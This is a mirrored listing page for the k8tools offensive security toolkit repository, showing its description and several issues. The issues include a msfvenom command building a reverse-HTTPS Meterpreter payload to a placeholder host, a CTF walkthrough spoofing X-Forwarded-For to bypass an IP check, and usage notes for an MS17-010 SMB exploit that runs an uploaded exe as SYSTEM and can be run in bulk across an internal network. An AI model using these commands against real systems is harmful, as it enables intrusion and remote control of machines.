Giter Club home page Giter Club logo

k8gege / k8tools Goto Github PK

View Code? Open in Web Editor NEW
5.6K 206.0 2.1K 595.06 MB

K8工具合集(内网渗透/提权工具/远程溢出/漏洞利用/扫描工具/密码破解/免杀工具/Exploit/APT/0day/Shellcode/Payload/priviledge/BypassUAC/OverFlow/WebShell/PenTest) Web GetShell Exploit(Struts2/Zimbra/Weblogic/Tomcat/Apache/Jboss/DotNetNuke/zabbix)

License: MIT License

Perl 0.01% Python 0.67% C++ 0.06% PHP 0.01% PowerShell 98.43% VBScript 0.08% Go 0.11% ASP.NET 0.53% Classic ASP 0.01% C 0.10%
exploit apt 0day poc getshell pentest hacking scanner privilege-escalation bypass

k8tools's Introduction

k8tools's People

Contributors

k8gege avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

k8tools's Issues

K8_C段旁注工具6.0

K8_C段旁注工具6.0

可以解压了·但是什么都搜索不到?
能否回复一下

Shellcodeloader 的问题

shellcoderloader
是不是不能加载 64位的shellcode
我想排除下是不是 我的shellcode 的问题

〖教程〗K8飞刀-网络安全CTF解题Web篇10个例子

〖教程〗K8飞刀-网络安全CTF解题Web篇10个例子

http://k8gege.org/p/ctf_k8fly.html

题目5 伪造IP

伪造IP这个考查点非常不错,因为现实中确实有很多网站后台存在IP限制。

网址:http://123.206.31.85:1003/ 管理员系统

使用K8飞刀访问提示“IP禁止访问”,切换文本看到注释中含有Base64字符串,编码解密得到test123

K8飞刀--HackerIE--Post方式--提交,返回Flag
提交数据:user=admin&pass=test123

X-Forwarded-For 值为 127.0.0.1

image

K8 ShellCode Encode 1.0(CobaltStrike & Metasploit)输出加密文件执行报错

msfvenom生成参数
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_https -f raw -o reverse_https.bin LHOST=www.xx.com LPORT=443

Win 10
.net 20 黑框一闪无上线
.net 3.5 黑框一闪无上线
.net 4.0
image

Win 7
.net 20
image
.net 3.5 同上
.net 4.0 同上

Cobalt Strike生成参数
Cobalt Strike→Windows Executable→输出→Raw

Win 10
.net 20 黑框一闪无上线
.net 3.5 黑框一闪无上线
.net 4.0
image

Win 7
.net 20
image
.net 3.5 同上
.net 4.0 同上

〖教程〗SMB溢出工具加强版

工具:k8加强版zzz

编译:python

漏洞:MS17-010

用法:

zzz_exploit.exe 192.11.22.82
zzz_exploit.exe 192.11.22.82 exe参数
zzz_exploit.exe 192.11.22.82 exe参数 管道名

如exe启动参数为  m.exe -Start 实战命令为 zzz_exploit.exe 192.11.22.82 -Start

内网批量

可结合cping批量溢出内网,将名称改为smbcheck即可,但exe必须使用无参版。(其它工具也可以,提供个IP参数即可)

因为cping只会传IP进去,不会传其它参数。使用前需将任意exe改名为ma.dat

溢出成功会自动将exe传入目标机器,并以system权限启动exe程序。

 

链接: https://github.com/k8gege/K8tools/blob/master/k8zzz.rar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.